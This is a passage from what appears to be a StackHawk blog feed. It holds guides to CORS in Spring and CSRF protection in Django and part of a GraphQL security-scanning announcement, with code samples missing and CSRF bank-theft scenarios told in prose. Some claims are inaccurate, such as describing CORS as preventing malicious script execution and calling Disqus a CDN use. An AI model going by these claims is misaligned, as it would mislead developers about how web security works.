&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;&lt;p&gt;For more background on exploiting misconfigured Cross-Origin resources and Tutorials on how to get it set up for correctly the framework you use, keep an eye open for more articles here. &lt;/p&gt;&lt;p&gt;In the meantime, you might want to read one of our other articles on XSS in:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-xss/&quot;&gt;&lt;u&gt;Laravel&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/rails-xss-examples-and-prevention/&quot;&gt;&lt;u&gt;Rails&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/java-xss/&quot;&gt;&lt;u&gt;Java&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Mozilla has an excellent set of explainers that break down the jargon from the standards into plain English. We&amp;#39;d recommend taking a look at their explainers on:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin&quot;&gt;&lt;u&gt;Access-Control-Allow-Origin&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials&quot;&gt;&lt;u&gt;Access-Control-Allow-Credentials&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Headers&quot;&gt;&lt;u&gt;Access-Control-Allow-Headers&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age&quot;&gt;&lt;u&gt;Access-Control-Max-Age&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Expose-Headers&quot;&gt;&lt;u&gt;Access-Control-Expose-Headers&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin&quot;&gt;&lt;u&gt;Origin&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you&amp;#39;re an experienced pen-tester then you might also want to read &lt;a href=&quot;https://root4loot.com/post/abusing_cors_origin/&quot;&gt;root4loot&amp;#39;s article&lt;/a&gt; on Abusing improper CORS origin validation.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Tim Armstrong. Tim has worn many hats over the years, from &amp;quot;Dark Lord of Network Operations&amp;quot; at Nerdalize to &amp;quot;Lead Software Engineer&amp;quot; at De Beers. These days, he&amp;#39;s going by &amp;quot;Consultant Engineer &amp;amp; Technical Writer.&amp;quot; You can find him on Twitter as @omatachyru, and at &lt;/i&gt;&lt;a href=&quot;https://plaintextnerds.com&quot;&gt;&lt;i&gt;&lt;u&gt;plaintextnerds.com&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-cors-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;As explained in the &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;CSRF post&lt;/a&gt;, cross-origin resource sharing (CORS) is a safety mechanism that prevents scripts from executing malicious code in websites and lets scripts do cross-domain calls. As I&amp;#39;ll explain in more detail in this post, a cross-domain call is an HTTP request done via the browser from domain A to domain B via AJAX. An &amp;quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Same-origin_policy&quot;&gt;origin&lt;/a&gt;&amp;quot; in the context of a cross-domain call is the combination of the request&amp;#39;s protocol, port, and domain. Originally proposed in the early 2000s, it&amp;#39;s now a standard across all modern browsers. In this post, I&amp;#39;ll explain what CORS is, why it&amp;#39;s important, and how to properly work with it in Spring. &lt;/p&gt;&lt;h2&gt;Why Use CORS?&lt;/h2&gt;&lt;h3&gt;Before CORS&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s start by describing the situation before CORS was implemented. Before CORS, a request from domain A to domain B via an AJAX call was blocked—permanently. Let&amp;#39;s understand why.  Assume that you&amp;#39;ve entered your bank&amp;#39;s website at https://somebank.com to transfer funds to an account. However, you didn&amp;#39;t enter the URL directly. You clicked on a link in an email. Unfortunately, this was a phishing email, and you were redirected to the address https://notabank.com. You&amp;#39;re presented with a form to send money, &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;as described in the CSRF post&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;The transfer funds request looks like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The form on the website that constructs this request looks like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And the attacker sends the request via this code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As I&amp;#39;ve explained in the CSRF post, the money isn&amp;#39;t sent to the bank account you want it to be sent to (let&amp;#39;s say you typed in bank account id:100). Instead, the money goes to the attacker&amp;#39;s bank account (id:200) via manipulating the form parameters. The attacker takes the data and sends it via AJAX to https://somebank.com. The money is now in the attacker&amp;#39;s bank account. That&amp;#39;s why we prevent cross-origin requests. &lt;/p&gt;&lt;h3&gt;Adding CORS&lt;/h3&gt;&lt;p&gt;However, there are a lot of scenarios for which you have legitimate reasons to do a cross-domain request. The standard specifies that a request shares the server&amp;#39;s origin only if the two have the same scheme, domain, and port number (if the URL includes a port). For instance, https://a.com and http://a.com are not the same origin. Likewise, https://a.com and https://a.com:8080 are not the same origin. &lt;/p&gt;&lt;h4&gt;Examples&lt;/h4&gt;&lt;p&gt;However, it is a perfectly valid use case to have your website hosted on https://a.com and your API to be hosted on https://api.a.com. Without a mechanism to fetch data from the API, your website can&amp;#39;t access it. Likewise, if you use a third-party API—let&amp;#39;s say from https://api.salesforce.com—you won&amp;#39;t be able to use it from your SaaS JavaScript. Lastly, a company can have two applications that are hosted on the same URL with different ports, and they need to communicate with each other. In other words, there are plenty of legitimate uses cases for which a mechanism was needed to provide more flexibility and ease of use.&lt;/p&gt;&lt;h2&gt;How Does CORS Work?&lt;/h2&gt;&lt;p&gt;CORS basically requires each request done from domain A to domain B to be explicitly permitted by domain&amp;#39;s B server. In other words, an AJAX request from domain A to domain B is to be &lt;i&gt;blocked by default.&lt;/i&gt; Unless we take active measures on domain B&amp;#39;s side. To enable requests coming from domain A, we need to set the access control policy on domain B. We can select which domains may make requests to domain B via AJAX and the allowed methods (POST, PUT, GET, etc.). Or we can just provide a wildcard permission: &amp;quot;*&amp;quot; (which usually isn&amp;#39;t recommended). &lt;/p&gt;&lt;h3&gt;Examples: Two Types of Requests&lt;/h3&gt;&lt;h4&gt;Simple Requests&lt;/h4&gt;&lt;p&gt;The standard specifies two scenarios for performing a cross-origin AJAX request—a &amp;quot;simple&amp;quot; request, and a request that requires a &amp;quot;preflight request&amp;quot; first. As described in &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS&quot;&gt;&lt;u&gt;MDN&lt;/u&gt;&lt;/a&gt;, a “simple request” is one that &lt;b&gt;meets all the following conditions&lt;/b&gt;: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;One of the allowed methods: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;GET&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;HEAD&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;POST&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The only headers we can use: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;Accept&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;Accept-Language&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;Content-Language&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;Content-Type&lt;/code&gt; (but note the additional requirements below)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;For the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type&quot;&gt;&lt;code&gt;&lt;u&gt;Content-Type&lt;/u&gt;&lt;/code&gt;&lt;/a&gt; header, the only allowed values are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;multipart/form-data&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;text/plain&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;TL;DR: If you do a GET/HEAD/POST request and don&amp;#39;t set the content types, other than the content types above (let&amp;#39;s say application/json), you&amp;#39;re making a &amp;quot;simple request.&amp;quot; &lt;/p&gt;&lt;p&gt;When the server responds to such a request, it&amp;#39;ll contain a header called &amp;quot;&lt;b&gt;Access-Control-Allow-Origin&lt;/b&gt;&amp;quot; that can contain a list of allowed domains or &amp;quot;*&amp;quot; to denote that any domain can do a request to this server. We control the domains, methods, and headers that can do a CORS request on the &lt;i&gt;server side&lt;/i&gt;. &lt;/p&gt;&lt;h4&gt;Requests That Require a Preflight Request First&lt;/h4&gt;&lt;p&gt;Basically, this type of request includes any request that doesn&amp;#39;t fit the definition above. The browser will automatically send an OPTIONS method to the server to make sure that the original request can be handled. We do this as these kinds of requests usually alter data on the server, and thus we want to protect the data integrity. The response for the options request lists the domains, HTTP methods, and HTTP headers for which we allow a CORS request.&lt;/p&gt;&lt;h2&gt;Spring Framework&lt;/h2&gt;&lt;p&gt;A popular Java framework for developing enterprise and web applications is the Spring Framework. Pivotal created the Spring Framework back in 2005 and it&amp;#39;s still in use today. Over the years, Pivotal added different modules to the core Spring container. One of the most popular is Spring Boot, which is the Convention over Configuration (CoC) part of the Spring framework. It allows you to code with minimal configuration. &lt;/p&gt;&lt;h2&gt;Spring Security&lt;/h2&gt;&lt;p&gt;Another popular module is Spring Security. As the official documentation explains very &lt;a href=&quot;https://spring.io/projects/spring-security&quot;&gt;&lt;u&gt;well&lt;/u&gt;&lt;/a&gt;, &amp;quot;Spring Security is a powerful and highly customizable authentication and access-control framework. It is the de-facto standard for securing Spring-based applications. Spring Security is a framework that focuses on providing both authentication and authorization to Java applications. Like all Spring projects, the real power of Spring Security is found in how easily it can be extended to meet custom requirements.&amp;quot; In other words, this is the standard security module for Spring-based applications. It provides protection against attacks like &lt;a href=&quot;https://en.wikipedia.org/wiki/Session_fixation&quot;&gt;&lt;u&gt;session fixation&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Clickjacking&quot;&gt;&lt;u&gt;clickjacking&lt;/u&gt;&lt;/a&gt;, and cross-site request forgery. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;The real power of Spring Security is found in how easily it can be extended to meet custom requirements. &lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;CORS in Spring Boot and Spring Security&lt;/h2&gt;&lt;h3&gt;CORS in Spring Boot&lt;/h3&gt;&lt;p&gt;We can enable CORS for a method, a whole class, or globally in Spring boot. To add it to a method, we just add it to a specific handler in spring-mvc annotated with @RequestMapping annotation:&lt;/p&gt;&lt;h4&gt;Method-Level CORS&lt;/h4&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As you can see, the Test method accepts a request from the domain https://a.com &lt;i&gt;only.&lt;/i&gt; &lt;/p&gt;&lt;h4&gt;Class-Level CORS&lt;/h4&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the example above, we add the annotation on the class level so both info and undo method conform with the annotation&amp;#39;s settings.&lt;/p&gt;&lt;h4&gt;Global CORS&lt;/h4&gt;&lt;p&gt;We set the global configuration as a @Configuration annotation for the MVC framework: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The mapping above applies to all routes and enables requests from one origin. &lt;/p&gt;&lt;h4&gt;CORS in Spring Security&lt;/h4&gt;&lt;p&gt;If we use Spring Security, we need to add one extra step. Otherwise, Spring Security will reject the request before reaching the MVC framework. This is because Spring Security automatically protects every endpoint with a requirement of an authentication token. This is irrelevant in the case of preflight requests as the purpose of an OPTIONS request, as described above, is only to establish whether the original request can go through. To make Spring Security bypass preflight requests, add this configuration: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;CORS is a useful mechanism for enabling more flexible layouts and more responsive applications. To use it, we need to actively enable it on Spring Boot or Spring Security. In addition, we want to minimize the risk that comes with this kind of request. Hence, we need to make sure that we enable it only for the endpoints, domains, and methods where it&amp;#39;s necessary. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Alexander Fridman. &lt;/i&gt;&lt;a href=&quot;https://alexanderfo.com&quot;&gt;&lt;u&gt;&lt;i&gt;Alexander&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a veteran in the software industry with over 11 years of experience. He worked his way up the corporate ladder and has held the positions of Senior Software Developer, Team Leader, Software Architect, and CTO. Alexander is experienced in frontend development and DevOps, but he specializes in backend development.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django CSRF Protection Guide: Examples and How to Enable]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-csrf-protection-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Sometimes it’s easier to build your website without thinking about security. And many times, perhaps due to tight timeframes, you might forget the need to factor in basic security measures. &lt;/p&gt;&lt;p&gt;It’s arguably easier to build websites or web apps without paying much attention to security and internet request protocols. But then, to what end? &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Risking security hacks?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Risking attack from malicious requests?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Exposing your users to dangers from internet fraudsters?&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For the good of your apps and your users, it makes sense to learn about security attacks in general — and to understand the need for and use of security measures for all your web applications in particular.  &lt;/p&gt;&lt;p&gt;Many popular security attacks exist on the web. The &lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;&lt;u&gt;cross-site request forgery&lt;/u&gt;&lt;/a&gt; (CSRF) is one of them.  &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;In Django, there are several ways to prevent CSRF attacks.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;In Django, there are several ways to prevent CSRF attacks. And for Django developers, Django’s measures against CSRF attacks are worth paying attention to. &lt;/p&gt;&lt;p&gt;In this post, we’ll talk about what CSRF is and how it works. Then, we’ll walk you through examples in Django and how to prevent them. &lt;/p&gt;&lt;h2&gt;What Exactly Is CSRF?&lt;/h2&gt;&lt;p&gt;CSRF (or XSRF) is also known as cross-site request forgery. As the name suggests, CSRF is a kind of attack on sites mostly done by other (malicious) sites, or sometimes by a (malicious) user on the site.  &lt;/p&gt;&lt;p&gt;Typically, there are many cases where a site would require a user to fill in data from another website on behalf of that particular user. An example is how a lot of blogs use &lt;a href=&quot;https://disqus.com/&quot;&gt;&lt;u&gt;Disqus&lt;/u&gt;&lt;/a&gt; to power their commenting systems. To comment in that particular blog, the blog requires that you log in to Disqus first. This is a basic use of a CDN (content delivery network), and this example is a legitimate cross-site request. &lt;/p&gt;&lt;p&gt;CSRF attacks usually rely on the user&amp;#39;s identity. So what happens when a user visits a malicious website? That site sends hidden forms of some JavaScript &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest&quot;&gt;&lt;u&gt;XMLHttpRequest&lt;/u&gt;&lt;/a&gt;. That request uses the credentials of a user (one who visited their malicious site) to do some actions on &lt;i&gt;another&lt;/i&gt; website that trusts the user’s browser or identity. &lt;/p&gt;&lt;p&gt;A site usually identifies authenticated users by saving cookies with headers and content that represent that particular user in their browsers. Attackers use this to access the user’s credentials to perform their attacks. &lt;/p&gt;&lt;h2&gt;An Example: Frank and the Bank&lt;/h2&gt;&lt;p&gt;Some unknown attacker wants to access Frank’s bank account and steal his money. What happens if Frank’s bank is vulnerable to CSRF?  &lt;/p&gt;&lt;p&gt;To transfer cash, Frank has to use a particular URL that&amp;#39;s saved to his browser, such as http://example_a_bank.com/app/service/transfer?amount=20000&amp;amp;destination=example_b_bank&amp;amp;accountNumber=9567265100&lt;i&gt;.&lt;/i&gt; &lt;/p&gt;&lt;p&gt;The transfer is successful. Then the browser saves a cookie session with Frank’s credentials, and Frank moves on. &lt;/p&gt;&lt;p&gt;The unknown attacker has a malicious website that Frank has probably innocently clicked. As a result, the attacker has placed an HTML code in the malicious website that looks like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now when Frank visits the malicious website, the browser will think it&amp;#39;s loading or processing an image link. It will issue a &lt;a href=&quot;https://www.w3schools.com/tags/ref_httpmethods.asp&quot;&gt;&lt;u&gt;GET request&lt;/u&gt;&lt;/a&gt; to fetch the picture, but it will also send a request to Frank’s bank to transfer $60,000 to the attacker’s specified bank account. The actual bank still has a cookie session saved in Frank’s browser. Therefore, the bank&amp;#39;s systems think this is a real request and process it. &lt;/p&gt;&lt;p&gt;This is a very serious vulnerability! How can banks and other businesses avoid this? Let’s dive into how to enable CSRF protection in Django. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;How can banks and other businesses avoid vulnerabilities? Let&amp;#39;s dive into how to enable CSRF protection in Django.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;CSRF in Django&lt;/h2&gt;&lt;p&gt;Powered by Python, &lt;a href=&quot;https://www.djangoproject.com/&quot;&gt;&lt;u&gt;Django&lt;/u&gt;&lt;/a&gt; is a free and open-source web framework that allows you to develop secure and maintainable websites in no time. Experienced developers built Django with the aim of reducing the unnecessary hassles of web development. This way, you can focus on building without having to reinvent the wheel. It&amp;#39;s suitable for back-end and front-end development. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Middleware&quot;&gt;&lt;u&gt;Middleware&lt;/u&gt;&lt;/a&gt; in Django is a set of functions that run during request and response processes. And in Django, there’s CSRF middleware that helps protect against CSRF attacks in Django apps. &lt;/p&gt;&lt;p&gt;When you start a Django project, you’ll see in your &lt;b&gt;settings.py&lt;/b&gt; file that the middleware has been activated by default. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;How to Use Django&amp;#39;s CSRF Middleware&lt;/h2&gt;&lt;h3&gt;Step 1&lt;/h3&gt;&lt;p&gt;You need to add &lt;b&gt;django.middleware.csrf.CsrfViewMiddleware &lt;/b&gt;in the &lt;b&gt;settings.py&lt;/b&gt; file to enable it. 
By default, Django already has this enabled, as in the following example:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;However, if you override these settings, you can decide to put &lt;b&gt;django.middleware.csrf.CsrfViewMiddleware&lt;/b&gt; before any middleware that assumes that CSRF attacks have been dealt with. &lt;/p&gt;&lt;h3&gt;Step 2&lt;/h3&gt;&lt;p&gt;Django has a template tag that makes it easy to use CSRF protection: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In a template that uses the POST form, use the &lt;b&gt;csrf_token&lt;/b&gt; inside the &lt;b&gt;&amp;lt;form&amp;gt;&lt;/b&gt; element. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;The CSRF Decorator Method&lt;/h2&gt;&lt;p&gt;Do you want to use CSRF protection on a particular view? Then &lt;b&gt;csrf_protect &lt;/b&gt;decorator is right for you. It’s got the same functionality as the &lt;b&gt;CsrfViewMiddleware&lt;/b&gt;, but it works only on the views you assign it to.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;NOTE:&lt;/b&gt; It&amp;#39;s better to use &lt;b&gt;CsrfViewMiddleware &lt;/b&gt;as an overall protection. If you forget to add the decorator to your views, it&amp;#39;ll create security issues. You must use it on the views that assign CSRF tokens to the output and the ones that accept data from the POST form. &lt;/p&gt;&lt;p&gt;You can also use &lt;b&gt;CsrfViewMiddleware &lt;/b&gt;as your blanket protection and still decide which view gets to use it. Like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;b&gt;csrf_exempt&lt;/b&gt; decorator marks the view and exempts it from the protection the middleware ensures on all views. &lt;/p&gt;&lt;h2&gt;Other Decorator Methods&lt;/h2&gt;&lt;p&gt;Here are some other methods you might find useful.&lt;/p&gt;&lt;p&gt;&lt;b&gt;csrf_exempt(view):&lt;/b&gt; It marks a view as exempt from the CSRF protection. &lt;/p&gt;&lt;p&gt;&lt;b&gt;requires_csrf_token(view):&lt;/b&gt; This ensures that the template tag &lt;b&gt;csrf_token&lt;/b&gt; works. Its function is similar to &lt;b&gt;crsf_protect&lt;/b&gt;, but it doesn&amp;#39;t reject an incoming request. &lt;/p&gt;&lt;p&gt;&lt;b&gt;ensure_csrf_cookie(views): &lt;/b&gt;This enforces a view to set a CSRF cookie, even if the &lt;b&gt;csrf_token &lt;/b&gt;template tag isn&amp;#39;t used. &lt;/p&gt;&lt;h2&gt;How Does the CSRF Token Work?&lt;/h2&gt;&lt;p&gt;The CSRF token is like an alphanumeric code or random secret value that&amp;#39;s peculiar to that particular site. Hence, no other site has the same code. &lt;/p&gt;&lt;p&gt;In Django, the token is set by &lt;b&gt;CsrfViewMiddleware&lt;/b&gt; in the &lt;b&gt;settings.py&lt;/b&gt; file. &lt;/p&gt;&lt;p&gt;A hidden form field with a &lt;b&gt;csrfmiddlewaretoken&lt;/b&gt; field is present in all outgoing requests. When you submit a form to the server that it didn’t send to you, the server won’t accept it—unless it has the CSRF token that matches the one the server recognizes. &lt;/p&gt;&lt;p&gt;The server has its own CSRF token. That&amp;#39;s what it sends, along with a form to the client for protection of information. &lt;/p&gt;&lt;p&gt;All incoming requests must have a CSRF cookie, and the &lt;b&gt;csrfmiddlewaretoken&lt;/b&gt; field must be present and correct. Otherwise, the user will get a 403 error. &lt;/p&gt;&lt;h2&gt;Enabling Django CSRF Protection With Django REST and React&lt;/h2&gt;&lt;p&gt;What about cases where you’re using Django REST and a separate front-end framework, such as React? You&amp;#39;ll definitely want to ensure that you have CSRF protection enabled as well. Here’s how. &lt;/p&gt;&lt;h2&gt;Using React Forms to Render a CSRF Token&lt;/h2&gt;&lt;p&gt;Django templates allow you to easily include:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;inside forms. However, in React, you’ll have to go the longer route to render it yourself. &lt;/p&gt;&lt;h3&gt;Step 1&lt;/h3&gt;&lt;p&gt;You have to fetch the &lt;b&gt;csrf&lt;/b&gt; token from Django&amp;#39;s &lt;b&gt;csrf_token&lt;/b&gt; cookie. But this will be set only if the CSRF middleware is enabled in Django. &lt;/p&gt;&lt;p&gt;In &lt;a href=&quot;https://docs.djangoproject.com/en/3.1/ref/csrf/#ajax&quot;&gt;&lt;u&gt;Django’s official documents&lt;/u&gt;&lt;/a&gt;, here’s the way to get the token in JavaScript: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can now retrieve the token as shown below: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Step 2&lt;/h3&gt;&lt;p&gt;You can then create a global &lt;b&gt;csrftoken.js&lt;/b&gt; file that has the following: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;It’s now easier to import and include it inside as many forms as possible: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Sending a FETCH Request With Django CSRF Token in React&lt;/h2&gt;&lt;p&gt;Also, you can also now easily send a React FETCH request while assigning the &lt;b&gt;csrf_token X-CSRFToken&lt;/b&gt; header:  &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;There! You’ve been able to include Django’s &lt;b&gt;csrf_token&lt;/b&gt; in React. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;You&amp;#39;ve now learned what CSRF protection is and how to enable it in Django. This means you&amp;#39;re one step ahead of security attacks and malicious attempts against your users. &lt;/p&gt;&lt;p&gt;To learn even more, check out &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;this post&lt;/u&gt;&lt;/a&gt;.&lt;b&gt; &lt;/b&gt;You can also review this example on &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;&lt;u&gt;how other tools integrate CSRF tokens to perform automated authentication tests&lt;/u&gt;&lt;/a&gt; from &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Pablo Macias Gonzalez. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/jpmaciasg/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a computer systems engineer with experience in backend, frontend, databases and systems administration.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building Secure GraphQL APIs with StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/building-secure-graphql-apis-with-stackhawk</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;GraphQL has taken the engineering world by storm. The &lt;a href=&quot;https://landscape.graphql.org/card-mode?category=graph-ql-adopter&amp;grouping=category&quot;&gt;&lt;u&gt;biggest names in engineering&lt;/u&gt;&lt;/a&gt; like Twitter and Lyft (and of course, Facebook) are using GraphQL as a simple, declarative way to retrieve data.&lt;/p&gt;&lt;p&gt;But if you are using GraphQL, then you know all that.&lt;/p&gt;&lt;p&gt;You also probably know that there aren’t a lot of security tools that are capable of running comprehensive tests against GraphQL APIs. &lt;/p&gt;&lt;p&gt;At StackHawk, we want to fix this. We know that API security is a code quality issue that teams across development and security are trying to tackle.&lt;/p&gt;&lt;p&gt;So we &lt;a href=&quot;https://www.stackhawk.com/blog/automated-graphql-security-testing/&quot;&gt;&lt;u&gt;pioneered application security testing for GraphQL&lt;/u&gt;&lt;/a&gt;. And, we have released new updates to the StackHawk platform to give teams confidence that their GraphQL APIs are secure.&lt;/p&gt;&lt;p&gt;What are the latest updates? Check out all the details 👇&lt;/p&gt;&lt;h4&gt;Better Application Coverage&lt;/h4&gt;&lt;p&gt;One of the biggest struggles for users when it comes to scanning GraphQL is sufficient app coverage. We are tackling this in two new ways.&lt;/p&gt;&lt;p&gt;By default, StackHawk performs introspection against a GraphQL endpoint to identify base queries for the scanner to attack. For further coverage, users can pre-seed the scanner by providing a static GraphQL schema file in the StackHawk config.&lt;/p&gt;&lt;p&gt;In addition to pre-seeding the scanner, we have optimized how the scanner performs introspection to retrieve nested data leaks. In doing so, the scanner has access to a greater number of exploitable inputs and users reap the benefits of deeper application inspection.&lt;/p&gt;&lt;p&gt;We know that greater application coverage can come with longer scan times. We have also added progress details to the terminal output for long running GraphQL spiders so you can get a read on how much time is left on your scan. Additionally, if you use &lt;a href=&quot;https://www.apollographql.com/docs/federation/&quot;&gt;&lt;u&gt;federated GraphQL&lt;/u&gt;&lt;/a&gt;, you can test each federated layer individually to reduce scan times.&lt;/p&gt;&lt;h4&gt;Faster Scans and Less False Positives&lt;/h4&gt;&lt;p&gt;By enabling two new config options in the StackHawk YAML, users can reap huge 